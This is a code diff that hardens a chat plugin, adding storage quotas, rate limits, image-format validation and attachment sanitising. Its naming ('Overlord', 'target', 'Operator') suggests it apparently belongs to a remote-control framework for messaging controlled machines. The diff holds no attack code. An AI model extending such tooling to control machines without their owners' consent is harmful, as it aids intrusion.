+const MAX_CHAT_IMAGE_DIMENSION = 8192;
+const MAX_CHAT_IMAGE_PIXELS = 16 * 1024 * 1024;
+const MAX_CHAT_TEXT_LENGTH = 1024 * 1024;
+const MAX_CHAT_MESSAGES_PER_CLIENT = 100_000;
+const MAX_CHAT_MESSAGE_STORAGE_PER_CLIENT = 1024 * 1024 * 1024;
+const MAX_CHAT_ATTACHMENT_STORAGE_PER_CLIENT = 10 * 1024 * 1024 * 1024;
+const DEFAULT_MAX_CHAT_MESSAGES_GLOBAL = 1_000_000;
+const DEFAULT_MAX_CHAT_MESSAGE_STORAGE_GLOBAL = 16 * 1024 * 1024 * 1024;
+const DEFAULT_MAX_CHAT_ATTACHMENT_STORAGE_GLOBAL = 16 * 1024 * 1024 * 1024;
+export const MAX_CHAT_ROWS_PRUNED_PER_SCOPE = 2_000;
+export const MAX_CHAT_INCOMING_RATE_KEYS = 10_000;
+const CHAT_MESSAGE_ROW_OVERHEAD_BYTES = 64;
+const CHAT_MESSAGE_PAYLOAD_BYTES_SQL = `(
+ ${CHAT_MESSAGE_ROW_OVERHEAD_BYTES}
+ + COALESCE(length(CAST(client_id AS BLOB)), 0)
+ + COALESCE(length(CAST(sender AS BLOB)), 0)
+ + COALESCE(length(CAST(direction AS BLOB)), 0)
+ + COALESCE(length(CAST(text AS BLOB)), 0)
+ + COALESCE(length(CAST(attachment_name AS BLOB)), 0)
+ + COALESCE(length(CAST(attachment_mime AS BLOB)), 0)
+)`;
+const incomingEventRates = new Map();
+const chatMessageStores = new WeakMap();
+
+function sanitizeChatText(value, maxLength = MAX_CHAT_TEXT_LENGTH) {
+ return typeof value === "string" ? value.slice(0, maxLength) : "";
+}
+
+function consumeIncomingEventRate(clientId, kind) {
+ const now = Date.now();
+ const isAttachment = kind === "attachment";
+ const windowMs = isAttachment ? 10 * 60_000 : 60_000;
+ const maxEvents = isAttachment ? 20 : 120;
+ const key = `${clientId}:${kind}`;
+ let state = incomingEventRates.get(key);
+ if (!state || now - state.windowStart >= windowMs) {
+ state = { windowStart: now, count: 0 };
+ }
+ state.count += 1;
+ incomingEventRates.set(key, state);
+ if (incomingEventRates.size > MAX_CHAT_INCOMING_RATE_KEYS) {
+ for (const [rateKey, entry] of incomingEventRates) {
+ if (now - entry.windowStart > 10 * 60_000) incomingEventRates.delete(rateKey);
+ }
+ while (incomingEventRates.size > MAX_CHAT_INCOMING_RATE_KEYS) {
+ const oldestKey = incomingEventRates.keys().next().value;
+ if (oldestKey === undefined) break;
+ incomingEventRates.delete(oldestKey);
+ }
+ }
+ return state.count <= maxEvents;
+}
+
+export function getChatRuntimeStats() {
+ return { incomingRateKeys: incomingEventRates.size };
+}
+
+function positiveChatLimit(name, fallback, maximum) {
+ const parsed = Number(process.env[name]);
+ if (!Number.isSafeInteger(parsed) || parsed <= 0) return fallback;
+ return Math.min(parsed, maximum);
+}
+
+export function getChatStorageLimits() {
+ return {
+ perClientMessages: MAX_CHAT_MESSAGES_PER_CLIENT,
+ perClientMessageBytes: MAX_CHAT_MESSAGE_STORAGE_PER_CLIENT,
+ perClientAttachmentBytes: MAX_CHAT_ATTACHMENT_STORAGE_PER_CLIENT,
+ globalMessages: positiveChatLimit(
+ "OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_MESSAGES",
+ DEFAULT_MAX_CHAT_MESSAGES_GLOBAL,
+ 1_000_000,
+ ),
+ globalMessageBytes: positiveChatLimit(
+ "OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_MESSAGE_BYTES",
+ DEFAULT_MAX_CHAT_MESSAGE_STORAGE_GLOBAL,
+ 16 * 1024 * 1024 * 1024,
+ ),
+ globalAttachmentBytes: positiveChatLimit(
+ "OVERLORD_CHAT_PLUGIN_GLOBAL_MAX_ATTACHMENT_BYTES",
+ DEFAULT_MAX_CHAT_ATTACHMENT_STORAGE_GLOBAL,
+ 16 * 1024 * 1024 * 1024,
+ ),
+ };
+}
+
+function optionalChatStringBytes(value) {
+ return value ? Buffer.byteLength(value, "utf8") : 0;
+}
+
+function chatMessagePayloadBytes(record) {
+ return CHAT_MESSAGE_ROW_OVERHEAD_BYTES
+ + Buffer.byteLength(record.clientId, "utf8")
+ + Buffer.byteLength(record.sender, "utf8")
+ + Buffer.byteLength(record.direction, "utf8")
+ + Buffer.byteLength(record.text, "utf8")
+ + optionalChatStringBytes(record.attachmentName)
+ + optionalChatStringBytes(record.attachmentMime);
+}
+
+function getChatStorageTotals(database, clientId) {
+ const row = clientId === null
+ ? database.prepare(
+ `SELECT COUNT(*) AS messages,
+ COALESCE(SUM(${CHAT_MESSAGE_PAYLOAD_BYTES_SQL}), 0) AS message_bytes,
+ COALESCE(SUM(length(CAST(attachment_data AS BLOB))), 0) AS attachment_bytes
+ FROM messages`,
+ ).get()
+ : database.prepare(
+ `SELECT COUNT(*) AS messages,
+ COALESCE(SUM(${CHAT_MESSAGE_PAYLOAD_BYTES_SQL}), 0) AS message_bytes,
+ COALESCE(SUM(length(CAST(attachment_data AS BLOB))), 0) AS attachment_bytes
+ FROM messages WHERE client_id = ?`,
+ ).get(clientId);
+ return {
+ messages: Number(row?.messages || 0),
+ messageBytes: Number(row?.message_bytes || 0),
+ attachmentBytes: Number(row?.attachment_bytes || 0),
+ };
+}
+
+function chatStorageScopeFits(database, clientId, incoming, limits) {
+ const totals = getChatStorageTotals(database, clientId);
+ return totals.messages + 1 <= limits.messages
+ && totals.messageBytes + incoming.messageBytes <= limits.messageBytes
+ && totals.attachmentBytes + incoming.attachmentBytes <= limits.attachmentBytes;
+}
+
+function deleteChatRows(database, ids) {
+ if (ids.length === 0) return;
+ const placeholders = ids.map(() => "?").join(",");
+ database.prepare(`DELETE FROM messages WHERE id IN (${placeholders})`).run(...ids);
+}
+
+function pruneChatStorageScope(database, clientId, incoming, limits) {
+ const totals = getChatStorageTotals(database, clientId);
+ let messages = totals.messages + 1;
+ let messageBytes = totals.messageBytes + incoming.messageBytes;
+ let attachmentBytes = totals.attachmentBytes + incoming.attachmentBytes;
+ if (
+ messages <= limits.messages
+ && messageBytes <= limits.messageBytes
+ && attachmentBytes <= limits.attachmentBytes
+ ) return true;
+
+ const rows = clientId === null
+ ? database.prepare(
+ `SELECT id, ${CHAT_MESSAGE_PAYLOAD_BYTES_SQL} AS message_bytes,
+ COALESCE(length(CAST(attachment_data AS BLOB)), 0) AS attachment_bytes
+ FROM messages ORDER BY timestamp ASC, id ASC LIMIT ?`,
+ ).all(MAX_CHAT_ROWS_PRUNED_PER_SCOPE)
+ : database.prepare(
+ `SELECT id, ${CHAT_MESSAGE_PAYLOAD_BYTES_SQL} AS message_bytes,
+ COALESCE(length(CAST(attachment_data AS BLOB)), 0) AS attachment_bytes
+ FROM messages WHERE client_id = ?
+ ORDER BY timestamp ASC, id ASC LIMIT ?`,
+ ).all(clientId, MAX_CHAT_ROWS_PRUNED_PER_SCOPE);
+
+ const pruneIds = [];
+ for (const row of rows) {
+ pruneIds.push(row.id);
+ messages -= 1;
+ messageBytes -= Number(row.message_bytes || 0);
+ attachmentBytes -= Number(row.attachment_bytes || 0);
+ if (
+ messages <= limits.messages
+ && messageBytes <= limits.messageBytes
+ && attachmentBytes <= limits.attachmentBytes
+ ) break;
+ }
+ deleteChatRows(database, pruneIds);
+ return messages <= limits.messages
+ && messageBytes <= limits.messageBytes
+ && attachmentBytes <= limits.attachmentBytes;
+}
+
+export function createChatMessageStore(database, quotaProvider = getChatStorageLimits) {
+ const transaction = database.transaction((record) => {
+ const limits = quotaProvider();
+ const incoming = {
+ messageBytes: chatMessagePayloadBytes(record),
+ attachmentBytes: record.attachmentData?.length || 0,
+ };
+ if (
+ incoming.messageBytes > limits.perClientMessageBytes
+ || incoming.messageBytes > limits.globalMessageBytes
+ || incoming.attachmentBytes > limits.perClientAttachmentBytes
+ || incoming.attachmentBytes > limits.globalAttachmentBytes
+ ) return { ok: false, error: "chat storage quota exceeded" };
+
+ let perClientSatisfied = pruneChatStorageScope(
+ database,
+ record.clientId,
+ incoming,
+ {
+ messages: limits.perClientMessages,
+ messageBytes: limits.perClientMessageBytes,
+ attachmentBytes: limits.perClientAttachmentBytes,
+ },
+ );
+ const globalSatisfied = pruneChatStorageScope(
+ database,
+ null,
+ incoming,
+ {
+ messages: limits.globalMessages,
+ messageBytes: limits.globalMessageBytes,
+ attachmentBytes: limits.globalAttachmentBytes,
+ },
+ );
+ if (!perClientSatisfied && globalSatisfied) {
+ perClientSatisfied = chatStorageScopeFits(
+ database,
+ record.clientId,
+ incoming,
+ {
+ messages: limits.perClientMessages,
+ messageBytes: limits.perClientMessageBytes,
+ attachmentBytes: limits.perClientAttachmentBytes,
+ },
+ );
+ }
+ if (!perClientSatisfied || !globalSatisfied) {
+ return { ok: false, error: "chat storage quota exceeded" };
+ }
+
+ const info = database.prepare(
+ `INSERT INTO messages
+ (client_id, sender, direction, text, timestamp,
+ attachment_name, attachment_mime, attachment_data)
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?)`,
+ ).run(
+ record.clientId,
+ record.sender,
+ record.direction,
+ record.text,
+ record.timestamp,
+ record.attachmentName || null,
+ record.attachmentMime || null,
+ record.attachmentData || null,
+ );
+ return { ok: true, id: Number(info.lastInsertRowid), timestamp: record.timestamp };
+ });
+ return transaction;
+}
+
+function storeChatMessage(ctx, record) {
+ let store = chatMessageStores.get(ctx.db);
+ if (!store) {
+ store = createChatMessageStore(ctx.db);
+ chatMessageStores.set(ctx.db, store);
+ }
+ return store(record);
+}
+
+function bytesEqualAt(buf, offset, expected) {
+ if (offset < 0 || offset + expected.length > buf.length) return false;
+ for (let i = 0; i < expected.length; i++) {
+ if (buf[offset + i] !== expected[i]) return false;
+ }
+ return true;
+}
+
+function imageDimensionsAllowed(width, height) {
+ return Number.isInteger(width) &&
+ Number.isInteger(height) &&
+ width > 0 &&
+ height > 0 &&
+ width <= MAX_CHAT_IMAGE_DIMENSION &&
+ height <= MAX_CHAT_IMAGE_DIMENSION &&
+ width * height <= MAX_CHAT_IMAGE_PIXELS;
+}
+
+function readPngDimensions(buf) {
+ if (!bytesEqualAt(buf, 0, [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a])) {
+ return null;
+ }
+ let offset = 8;
+ let dimensions = null;
+ let sawImageData = false;
+ while (offset + 12 <= buf.length) {
+ const length = buf.readUInt32BE(offset);
+ const chunkEnd = offset + 12 + length;
+ if (chunkEnd > buf.length) return null;
+
+ const type = buf.subarray(offset + 4, offset + 8).toString("ascii");
+ if (type === "acTL" || type === "fcTL" || type === "fdAT") return null;
+ if (offset === 8) {
+ if (type !== "IHDR" || length !== 13) return null;
+ dimensions = { width: buf.readUInt32BE(offset + 8), height: buf.readUInt32BE(offset + 12) };
+ } else if (type === "IDAT") {
+ sawImageData = true;
+ } else if (type === "IEND") {
+ if (length !== 0 || chunkEnd !== buf.length || !sawImageData) return null;
+ return dimensions;
+ }
+ offset = chunkEnd;
+ }
+ return null;
+}
+
+function readJpegDimensions(buf) {
+ if (!bytesEqualAt(buf, 0, [0xff, 0xd8, 0xff]) || !bytesEqualAt(buf, buf.length - 2, [0xff, 0xd9])) {
+ return null;
+ }
+ let offset = 2;
+ while (offset + 4 <= buf.length - 2) {
+ if (buf[offset] !== 0xff) return null;
+ while (offset < buf.length && buf[offset] === 0xff) offset += 1;
+ if (offset >= buf.length) return null;
+ const marker = buf[offset++];
+ if (marker === 0xd9) return null;
+ if (marker === 0xd8 || marker === 0x01 || (marker >= 0xd0 && marker <= 0xd7)) {
+ continue;
+ }
+ if (offset + 2 > buf.length) return null;
+ const segmentLength = buf.readUInt16BE(offset);
+ if (segmentLength < 2 || offset + segmentLength > buf.length) return null;
+ const isStartOfFrame =
+ marker >= 0xc0 && marker <= 0xcf &&
+ marker !== 0xc4 && marker !== 0xc8 && marker !== 0xcc;
+ if (isStartOfFrame) {
+ if (segmentLength < 8) return null;
+ return {
+ width: buf.readUInt16BE(offset + 5),
+ height: buf.readUInt16BE(offset + 3),
+ };
+ }
+ // A valid JPEG provides its frame dimensions before scan data starts.
+ if (marker === 0xda) return null;
+ offset += segmentLength;
+ }
+ return null;
+}
+
+function readWebpDimensions(buf) {
+ if (
+ buf.length < 20 ||
+ buf.subarray(0, 4).toString("ascii") !== "RIFF" ||
+ buf.readUInt32LE(4) + 8 !== buf.length ||
+ buf.subarray(8, 12).toString("ascii") !== "WEBP"
+ ) return null;
+
+ let offset = 12;
+ let dimensions = null;
+ while (offset + 8 <= buf.length) {
+ const chunkType = buf.subarray(offset, offset + 4).toString("ascii");
+ const chunkLength = buf.readUInt32LE(offset + 4);
+ const dataOffset = offset + 8;
+ const chunkEnd = dataOffset + chunkLength;
+ if (chunkEnd > buf.length) return null;
+ if (chunkType === "ANIM" || chunkType === "ANMF") return null;
+
+ if (
+ chunkType === "VP8 " &&
+ chunkLength >= 10 &&
+ bytesEqualAt(buf, dataOffset + 3, [0x9d, 0x01, 0x2a])
+ ) {
+ dimensions ??= {
+ width: buf.readUInt16LE(dataOffset + 6) & 0x3fff,
+ height: buf.readUInt16LE(dataOffset + 8) & 0x3fff,
+ };
+ }
+ if (chunkType === "VP8L" && chunkLength >= 5 && buf[dataOffset] === 0x2f) {
+ const packed = buf.readUInt32LE(dataOffset + 1);
+ dimensions ??= {
+ width: (packed & 0x3fff) + 1,
+ height: ((packed >>> 14) & 0x3fff) + 1,
+ };
+ }
+ if (chunkType === "VP8X" && chunkLength >= 10) {
+ if ((buf[dataOffset] & 0x02) !== 0) return null;
+ dimensions ??= {
+ width: 1 + buf[dataOffset + 4] + (buf[dataOffset + 5] << 8) + (buf[dataOffset + 6] << 16),
+ height: 1 + buf[dataOffset + 7] + (buf[dataOffset + 8] << 8) + (buf[dataOffset + 9] << 16),
+ };
+ }
+
+ offset = chunkEnd + (chunkLength % 2);
+ }
+ return offset === buf.length ? dimensions : null;
+}
+
+export function detectChatRasterMime(buf) {
+ if (!buf || typeof buf.length !== "number") return null;
+
+ const pngDimensions = readPngDimensions(buf);
+ if (pngDimensions && imageDimensionsAllowed(pngDimensions.width, pngDimensions.height)) {
+ return "image/png";
+ }
+
+ const jpegDimensions = readJpegDimensions(buf);
+ if (jpegDimensions && imageDimensionsAllowed(jpegDimensions.width, jpegDimensions.height)) {
+ return "image/jpeg";
+ }
+
+ const webpDimensions = readWebpDimensions(buf);
+ if (webpDimensions && imageDimensionsAllowed(webpDimensions.width, webpDimensions.height)) {
+ return "image/webp";
+ }
+
+ return null;
+}
+
+function sanitizeAttachmentName(value) {
+ const cleaned = String(value || "file")
+ .replace(/[\\/\u0000-\u001f\u007f]/g, "_")
+ .trim()
+ .slice(0, 255);
+ return cleaned || "file";
+}
+
+function validateChatAttachmentBytes(mimeValue, buf) {
+ if (!buf || buf.length === 0) {
+ return { ok: false, error: "empty attachment" };
+ }
+ if (buf.length > MAX_CHAT_ATTACHMENT_SIZE) {
+ return { ok: false, error: "attachment exceeds 64 MB limit" };
+ }
+
+ const declaredMime = String(mimeValue || "").trim().toLowerCase();
+ const detectedMime = detectChatRasterMime(buf);
+ if (declaredMime && SAFE_RASTER_MIMES.has(declaredMime) && declaredMime !== detectedMime) {
+ return { ok: false, error: "attachment MIME does not match its contents" };
+ }
+
+ // Unknown/active formats remain downloadable but are forced to an inert MIME.
+ return { ok: true, mime: detectedMime || "application/octet-stream", buf };
+}
+
+export function validateChatAttachment(input) {
+ if (!input || typeof input !== "object") {
+ return { ok: false, error: "invalid attachment payload" };
+ }
+
+ const dataB64 = input.dataB64;
+ if (typeof dataB64 !== "string" || dataB64.length === 0) {
+ return { ok: false, error: "empty attachment" };
+ }
+ if (dataB64.length > MAX_CHAT_ATTACHMENT_BASE64_SIZE) {
+ return { ok: false, error: "attachment exceeds 64 MB limit" };
+ }
+ if (
+ dataB64.length % 4 !== 0 ||
+ !/^[A-Za-z0-9+/]*={0,2}$/.test(dataB64)
+ ) {
+ return { ok: false, error: "invalid base64 attachment" };
+ }
+
+ let buf;
+ try {
+ buf = Buffer.from(dataB64, "base64");
+ } catch (_) {
+ return { ok: false, error: "invalid base64 attachment" };
+ }
+ // Buffer's base64 decoder is intentionally permissive. Re-encoding makes
+ // the accepted representation canonical and rejects ignored junk bytes.
+ if (buf.toString("base64") !== dataB64) {
+ return { ok: false, error: "invalid base64 attachment" };
+ }
+
+ const checked = validateChatAttachmentBytes(input.mime, buf);
+ if (!checked.ok) return checked;
+ return {
+ ok: true,
+ name: sanitizeAttachmentName(input.name),
+ mime: checked.mime,
+ buf: checked.buf,
+ };
+}
+
export default {
setup(ctx) {
ctx.db.exec(`
@@ -14,6 +493,9 @@ export default {
ctx.db.exec(
`CREATE INDEX IF NOT EXISTS msg_by_client ON messages(client_id, timestamp)`
);
+ ctx.db.exec(
+ `CREATE INDEX IF NOT EXISTS msg_by_timestamp ON messages(timestamp, id)`
+ );
} catch (_) {}
const cols = ctx.db
@@ -35,60 +517,71 @@ export default {
ctx.db.exec(`ALTER TABLE messages ADD COLUMN attachment_data BLOB`);
} catch (_) {}
}
+ try {
+ ctx.db.exec(
+ `CREATE INDEX IF NOT EXISTS msg_attachments_by_client
+ ON messages(client_id, timestamp, id) WHERE attachment_data IS NOT NULL`
+ );
+ ctx.db.exec(
+ `CREATE INDEX IF NOT EXISTS msg_attachments_by_timestamp
+ ON messages(timestamp, id) WHERE attachment_data IS NOT NULL`
+ );
+ } catch (_) {}
},
onEvent(ctx, clientId, event, payload) {
if (event === "chat_message") {
+ const text = sanitizeChatText(payload?.text);
+ if (!text) return;
+ const sender = sanitizeChatText(payload?.from || "Unknown", 128) || "Unknown";
const ts = Date.now();
- const info = ctx.db
- .prepare(
- `INSERT INTO messages(client_id, sender, direction, text, timestamp) VALUES (?, ?, ?, ?, ?)`
- )
- .run(
- clientId,
- payload.from || "Unknown",
- "from_target",
- payload.text || "",
- ts
- );
- ctx.broadcast("new_message", {
- id: Number(info.lastInsertRowid),
+ const stored = storeChatMessage(ctx, {
clientId,
- sender: payload.from || "Unknown",
+ sender,
direction: "from_target",
- text: payload.text || "",
+ text,
+ timestamp: ts,
+ });
+ if (!stored.ok) {
+ ctx.log?.warn?.(`Rejected chat message from ${clientId}: ${stored.error}`);
+ return;
+ }
+ ctx.broadcast("new_message", {
+ id: stored.id,
+ clientId,
+ sender,
+ direction: "from_target",
+ text,
timestamp: ts,
});
}
if (event === "chat_attachment") {
- const ts = Date.now();
- const name = payload.name || "file";
- const mime = payload.mime || "application/octet-stream";
- let buf = null;
- try {
- buf = Buffer.from(payload.dataB64 || "", "base64");
- } catch (_) {
- buf = null;
+ const attachment = validateChatAttachment(payload);
+ if (!attachment.ok) {
+ ctx.log?.warn?.(`Rejected chat attachment from ${clientId}: ${attachment.error}`);
+ return;
}
- if (!buf || buf.length === 0) return;
- const info = ctx.db
- .prepare(
- `INSERT INTO messages(client_id, sender, direction, text, timestamp, attachment_name, attachment_mime, attachment_data) VALUES (?, ?, ?, ?, ?, ?, ?, ?)`
- )
- .run(
- clientId,
- payload.from || "Unknown",
- "from_target",
- "",
- ts,
- name,
- mime,
- buf
- );
- ctx.broadcast("new_message", {
- id: Number(info.lastInsertRowid),
+ const ts = Date.now();
+ const { name, mime, buf } = attachment;
+ const sender = sanitizeChatText(payload?.from || "Unknown", 128) || "Unknown";
+ const stored = storeChatMessage(ctx, {
clientId,
- sender: payload.from || "Unknown",
+ sender,
+ direction: "from_target",
+ text: "",
+ timestamp: ts,
+ attachmentName: name,
+ attachmentMime: mime,
+ attachmentData: buf,
+ });
+ if (!stored.ok) {
+ ctx.log?.warn?.(`Rejected chat attachment from ${clientId}: ${stored.error}`);
+ return;
+ }
+ ctx.broadcast("new_message", {
+ id: stored.id,
+ clientId,
+ sender,
direction: "from_target",
text: "",
timestamp: ts,
@@ -131,78 +624,93 @@ export default {
},
get_attachment(ctx, params) {
+ const clientId = String(params?.clientId || "").trim();
+ if (!clientId) return { ok: false, error: "clientId required" };
const row = ctx.db
.prepare(
- `SELECT attachment_name, attachment_mime, attachment_data FROM messages WHERE id = ?`
+ `SELECT attachment_name, attachment_mime, attachment_data FROM messages WHERE id = ? AND client_id = ?`
)
- .get(params.id);
+ .get(params.id, clientId);
if (!row || !row.attachment_data) {
return { ok: false, error: "not found" };
}
const buf = Buffer.isBuffer(row.attachment_data)
? row.attachment_data
: Buffer.from(row.attachment_data);
+ const checked = validateChatAttachmentBytes(row.attachment_mime, buf);
+ if (!checked.ok) {
+ return { ok: false, error: "unsafe attachment blocked" };
+ }
return {
ok: true,
- name: row.attachment_name,
- mime: row.attachment_mime,
+ name: sanitizeAttachmentName(row.attachment_name),
+ mime: checked.mime,
dataB64: buf.toString("base64"),
};
},
store_message(ctx, params) {
+ const clientId = String(params?.clientId || "").trim();
+ const text = sanitizeChatText(params?.text);
+ const sender = sanitizeChatText(params?.sender || "Operator", 128) || "Operator";
+ if (!clientId || !text) return { ok: false, error: "invalid message" };
const ts = Date.now();
- const info = ctx.db
- .prepare(
- `INSERT INTO messages(client_id, sender, direction, text, timestamp) VALUES (?, ?, ?, ?, ?)`
- )
- .run(params.clientId, params.sender, "to_target", params.text, ts);
- ctx.broadcast("new_message", {
- id: Number(info.lastInsertRowid),
- clientId: params.clientId,
- sender: params.sender,
+ const stored = storeChatMessage(ctx, {
+ clientId,
+ sender,
direction: "to_target",
- text: params.text,
+ text,
timestamp: ts,
});
- return { ok: true, id: Number(info.lastInsertRowid), timestamp: ts };
+ if (!stored.ok) return stored;
+ ctx.broadcast("new_message", {
+ id: stored.id,
+ clientId,
+ sender,
+ direction: "to_target",
+ text,
+ timestamp: ts,
+ });
+ return { ok: true, id: stored.id, timestamp: ts };
},
store_attachment(ctx, params) {
- const ts = Date.now();
- const name = params.name || "file";
- const mime = params.mime || "application/octet-stream";
- let buf = null;
- try {
- buf = Buffer.from(params.dataB64 || "", "base64");
- } catch (_) {}
- if (!buf || buf.length === 0) {
- return { ok: false, error: "empty data" };
+ const attachment = validateChatAttachment(params);
+ if (!attachment.ok) {
+ return { ok: false, error: attachment.error };
}
- const info = ctx.db
- .prepare(
- `INSERT INTO messages(client_id, sender, direction, text, timestamp, attachment_name, attachment_mime, attachment_data) VALUES (?, ?, ?, ?, ?, ?, ?, ?)`
- )
- .run(
- params.clientId,
- params.sender,
- "to_target",
- "",
- ts,
- name,
- mime,
- buf
- );
+ const ts = Date.now();
+ const { name, mime, buf } = attachment;
+ const clientId = String(params?.clientId || "").trim();
+ if (!clientId) return { ok: false, error: "clientId required" };
+ const sender = sanitizeChatText(params?.sender || "Operator", 128) || "Operator";
+ const stored = storeChatMessage(ctx, {
+ clientId,
+ sender,
+ direction: "to_target",
+ text: "",
+ timestamp: ts,
+ attachmentName: name,
+ attachmentMime: mime,
+ attachmentData: buf,
+ });
+ if (!stored.ok) return stored;
ctx.broadcast("new_message", {
- id: Number(info.lastInsertRowid),
- clientId: params.clientId,
- sender: params.sender,
+ id: stored.id,
+ clientId,
+ sender,
direction: "to_target",
text: "",
timestamp: ts,
attachment: { name, mime, size: buf.length },
});
- return { ok: true, id: Number(info.lastInsertRowid), timestamp: ts };
+ return {
+ ok: true,
+ id: stored.id,
+ timestamp: ts,
+ name,
+ mime,
+ };
},
clear_history(ctx, params) {